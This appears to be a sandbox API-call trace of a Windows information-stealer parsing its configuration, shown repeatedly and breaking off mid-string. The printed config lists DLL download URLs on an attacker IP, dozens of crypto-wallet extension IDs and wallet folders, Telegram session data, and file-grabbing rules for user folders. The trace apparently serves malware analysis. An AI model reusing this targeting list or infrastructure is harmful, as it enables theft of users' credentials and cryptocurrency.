(lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.295] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6f1ee8 [0266.295] lstrlenW (lpString="daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3564 [0266.295] LocalAlloc (uFlags=0x40, uBytes=0x1c58) returned 0x6f4830 [0266.295] StrCpyW (in: psz1=0x6fe628, psz2="Daedalus" | out: psz1="Daedalus") returned="Daedalus" [0266.296] LocalFree (hMem=0x6f4830) returned 0x0 [0266.296] StrStrW (lpFirst="26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.296] lstrlenW (lpString="daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3564 [0266.296] LocalAlloc (uFlags=0x40, uBytes=0x1c58) returned 0x6f4830 [0266.296] StrCpyW (in: psz1=0x700f70, psz2="26" | out: psz1="26") returned="26" [0266.296] LocalFree (hMem=0x6f4830) returned 0x0 [0266.296] StrStrW (lpFirst="Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension 